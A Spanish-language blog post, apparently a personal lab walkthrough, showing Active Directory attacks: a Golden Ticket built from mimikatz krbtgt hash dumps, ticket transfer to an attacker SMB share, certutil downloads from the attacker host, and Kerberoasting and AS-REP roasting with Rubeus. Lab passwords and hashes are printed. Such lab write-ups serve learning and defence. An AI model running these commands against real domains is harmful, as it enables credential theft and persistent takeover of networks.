Pentesting Windows #2

Featured image

Aquí continua la segunda parte de Pentesting en sistemas Windows.

Direccionamiento IP:

Domain Controller 192.168.5.134
PC-ELC4BR4 192.168.5.135
PC-TIMOTI 192.168.5.136
PARROT ATACANTE 192.168.5.129

Credenciales Obtenidas:

Administrador P@ssw0rd1234
cfernandez P@ssw0rd1
timoti P@ssw0rd2
SVC_SQLservice Mypassword123#
test Mypassword123#

GOLDEN TICKET ATTACK

Para poder realizar este ataque debemos conectarnos a la máquina del Domain Controller y subir el ejecutable de mimikatz.exe

Me conecto a la máquina a través de psexec y me creo un directorio en la carpeta temp, donde subiré el mimikatz.exe.

Subo el ejecutable a la máquina a través de un servidor python3 y ejecuto este comando en la máquina del DC.

certutil -f -urlcache -split [http://192.168.5.142:8080/mimikatz.exe](http://192.168.5.142:8080/mimikatz.exe) mimikatz.exe

Una vez subido lo ejecuto y lanzo este comando, que me arrojará una serie de datos que he de guardar para poder construir mi ticket y efectuar otros ataques posteriormente.

lsadump::lsa /inject /name:krbtgt

Al lanzar este comando me arroja una serie de datos que he de almacenar en un archivo para usarlo posteriormente.

Domain : ELC4BR4CORP /S-1-5-21-125982298-3703263120-1654962388

RID  : 000001f6 (502)
User : krbtgt

 * Primary
    NTLM : 5a168273afef7e1c286cb06ba641d3e7
    LM   : 
  Hash NTLM: 5a168273afef7e1c286cb06ba641d3e7
    ntlm- 0: 5a168273afef7e1c286cb06ba641d3e7
    lm  - 0: 0014685580ac64d2d05487386f2bf9a1

 * WDigest
    01  0d288f2664600813cb76298df4e2e18b
    02  1737635f41c90f8f3378a04d5fd409a6
    03  ba35c9f65caa6aa92f057c71bd705c3c
    04  0d288f2664600813cb76298df4e2e18b
    05  1737635f41c90f8f3378a04d5fd409a6
    06  fe17b93f23311cfd6e9633abff15c1c1
    07  0d288f2664600813cb76298df4e2e18b
    08  7b41cae1acc9b639a14a5abb910cce4b
    09  7b41cae1acc9b639a14a5abb910cce4b
    10  6d6b459d78e134ecdd144a5cc9c3594f
    11  edbabf4665b2e93dbdc4c323c71e8fcb
    12  7b41cae1acc9b639a14a5abb910cce4b
    13  bdd9c0a2761ca1b51372409277f13dab
    14  edbabf4665b2e93dbdc4c323c71e8fcb
    15  b0a6e558a0bebd74b74f496ad3349290
    16  b0a6e558a0bebd74b74f496ad3349290
    17  f16ec0c9ba4683cc88d38652be117508
    18  7ec4139e942a6db57993e4ace4f116f9
    19  8bbf3a395882b06837bf1f4388ee1b82
    20  ccbfb4a4dc2014be3240729310a65571
    21  cdd87e78c3c84eff4733f2b65b62f1c4
    22  cdd87e78c3c84eff4733f2b65b62f1c4
    23  54204a79a956d58b5d0d470a0a23c2d6
    24  f06350d3b4ee8a02fc36b613e5a31d17
    25  f06350d3b4ee8a02fc36b613e5a31d17
    26  c6d0f457c7cac824bff12c39bbb598da
    27  c6674b3a2e5279d3bf6fbeb8b0702e80
    28  f6c8cce0994c3a2acf337de60eaeb421
    29  6dc5694d365fae894a9e03fbdf1330c2

 * Kerberos
    Default Salt : ELC4BR4CORP.LOCALkrbtgt
    Credentials
      des_cbc_md5       : c8fb7abcf125d37a

 * Kerberos-Newer-Keys
    Default Salt : ELC4BR4CORP.LOCALkrbtgt
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : ae0bdc175152d4c3a92eb0cd410af41c142dc571c23e46c5919bbfa0406ac2a8
      aes128_hmac       (4096) : bb79c72e39182de9a5bd5cc220c0cb05
      des_cbc_md5       (4096) : c8fb7abcf125d37a

 * NTLM-Strong-NTOWF
    Random Value : 6a916f8e92ba295b1be3df6bcfb503f8

Una vez que ya tenemos estos datos podemos proceder a construir nuestro ticket para posteriormente cargar este ticket en otra máquina con mimikatz.exe y poder tener privilegios de acceso en el mismo.

Una vez creado el ticket realizaremos lo siguiente.

Lo primero es pasarnos a nuestra máquina atacante el ticket para posteriormente conectarnos a otra máquina del dominio y ejecutar este ticket con mimikat.exe de la siguiente manera.

Para pasar el ticket de una máquina a la otra utilizo impacket-smbserver desde mi máquina atacante creando un recurso compartido vinculado a mi ruta absoluta.

sudo impacket-smbserver filetransfer $(pwd) -smb2support

Y desde la máquina del DC ejecuto lo siguiente…

copy golden.ticket \\192.168.5.142\filetransfer\golden.ticket

Una vez ya tengo el golden.ticket me conecto a otra máquina del dominio, en este caso a la máquina PC-TIMOTI por ejemplo, y subo el mimikatz.exe y el ticket a través de un servidor de python3 y certutil.

Si intentamos enumerar los recursos compartidos del equipo AD-DC (Domain Controller) recibiremos un error

¿Pero que ocurre si cargamos el golden.ticket…?

Cargamos el ticket y de nuevo probamos a enumerar recursos de la máquina del DC.

Y ya tenemos acceso, podemos enumerar los recursos del DC, pero claro lo que de verdad queremos es ganar acceso a la máquina por lo que podríamos usar otra técnica.

Ticketer

Con ticketer vamos a generar un archivo .ccache haciendo uso de los datos que mimikatz nos reportó anteriormente y que guardé en un archivo de texto en mi máquina atacante, ganado persistencia total a la máquina.

Una vez hemos creado el archivo .ccache debemos exportar la variable de entorno KRB5CCNAME que sea igual a la ruta absoluta del archivo .ccache y comprobarlo para asegurarnos de que lo hicimos correctamente.

Una vez completado este paso podremos conectarnos a la máquina sin necesidad de utilizar contraseña usando psexec.py.

Y si el usuario Administrador cambiase la contraseña también podríamos seguir accediendo sin contraseña, es decir, ganamos una persistencia total.

Kerberoasting Attack con Rubeus

Podemos efectuar este ataque con el ejecutable de Rubeus, para ello me lo descargo y lo paso a la máquina del DC.

Una vez lo tenemos en la máquina del DC procedemos a ejecutarlo con los siguientes parámetros.

rubeus.exe kerberoast /creduser:elc4br4corp.local\cfernandez /credpassword:P@ssw0rd1

Al lanzarlo nos arroja el hash del usuario vulnerable al ataque Kerberoasting que en este caso es SVC_SQLservice.

Podemos copiarnos el hash y craquearlo y así obtener su contraseña.

Si convierto en kerberoasteable el usuario timoti por ejemplo, pasará lo mismo.

Ejecuto este comando desde la cmd de la máquina del DC.

Y relanzamos el comando de Rubeus

Y ahí tenemos el hash del usuario Timoti.

ASREPROAST Attack con Rubeus

Con Rubeus también podemos desplegar el ataque ASREPROAST, de la siguiente forma…

Ejecutamos el siguiente comando:

rubeus.exe asreproast /user:<user> /domain:<domain> /dc:<hostname>

En mi caso voy a realizarlo con el usuario SVC_SQLservice ya que fue configurado anteriormente para ser vulnerable a este ataque.

Pero podría realizarlo con cualquier otro usuario, solo he de configurarlo para hacerlo vulnerable a este tipo de ataque, y eso lo hacemos desde la máquina del DCUsuarios y equipos de ADpropiedades sobre el usuario que queramos hacer vulnerable (cfernandez) y marcar la opción que dice no pedir la autenticación Kerberos previa.

Una vez configurado lanzo de nuevo el comando de rubeus

Y ahí tenemos el hash del usuario cfernandez.

Aquí finaliza la segunda parte de la guía Pentesting Windows, seguiré aprendiendo nuevas técnicas para poder compartirlo.